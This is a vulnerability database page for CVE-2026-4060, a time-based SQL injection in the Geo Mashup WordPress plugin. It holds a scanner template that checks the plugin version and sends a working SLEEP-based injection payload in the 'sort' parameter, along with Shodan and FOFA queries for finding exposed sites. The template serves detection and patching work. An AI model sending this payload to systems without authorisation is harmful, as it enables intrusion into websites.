Geo Mashup <= 1.13.18 - SQL Injection
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-4060 | 2 May 202611:16 | – | attackerkb | |
| CVE-2026-4060 | 6 May 202601:33 | – | circl | |
| WordPress plugin Geo Mashup SQL注入漏洞 | 2 May 202600:00 | – | cnnvd | |
| CVE-2026-4060 | 2 May 202611:16 | – | cve | |
| CVE-2026-4060 Geo Mashup <= 1.13.18 - Unauthenticated Time-Based SQL Injection via 'sort' Parameter | 2 May 202611:16 | – | cvelist | |
| Exploit for CVE-2026-4060 | 14 May 202602:10 | – | githubexploit | |
| EUVD-2026-26778 | 2 May 202611:16 | – | euvd | |
| CVE-2026-4060 | 2 May 202612:16 | – | nvd | |
| WordPress Geo Mashup plugin <= 1.13.18 - Unauthenticated Time-Based SQL Injection vulnerability | 5 May 202610:25 | – | patchstack | |
| PT-2026-36606 | 2 May 202600:00 | – | ptsecurity |
10
id: CVE-2026-4060
info:
name: Geo Mashup <= 1.13.18 - SQL Injection
author: ydking0911
severity: high
description: |
Geo Mashup WordPress plugin <= 1.13.18 is vulnerable to time-based SQL injection via the sort parameter. The issue exists because the sort value is insufficiently sanitized in render-map.php/template tag code paths.
impact: |
Unauthenticated attackers can append SQL queries into existing database queries and potentially extract sensitive information using a time-based blind approach.
remediation: |
Update Geo Mashup to the latest version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-4060
- https://www.wordfence.com/threat-intel/vulnerabilities/id/2fa5ae9a-532c-40f9-b70a-217f0f9cd473?source=cve
- https://plugins.trac.wordpress.org/changeset/3503627/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-4060
epss-score: 0.00304
epss-percentile: 0.23025
cwe-id: CWE-89
metadata:
verified: true
max-request: 2
vendor: cyberhobo
product: geo_mashup
shodan-query: http.html:"geo-mashup"
fofa-query: body="geo-mashup"
tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt"
- "{{BaseURL}}"
stop-at-first-match: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag:\s*([0-9.]+)'
internal: true
matchers-condition: or
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'geo-mashup')"
condition: and
internal: true
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'Geo Mashup')"
- "compare_versions(version, '<= 1.13.18')"
condition: and
internal: true
- raw:
- |
@timeout: 30s
GET /?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "duration >= 8"
- "status_code == 200"
- "contains(body, 'GeoMashup.createMap')"
condition: and
# digest: 4b0a00483046022100d0517af45615d3b6cb47c89298f371099954733a068f5bf85db6e7d1f39028a7022100e3d089c4c7ede28a164ad25e2b59bf8dce5714e224ddf9aa13c738ac8794dfbf:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 May 2026 11:53Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.5
EPSS0.00304
SSVC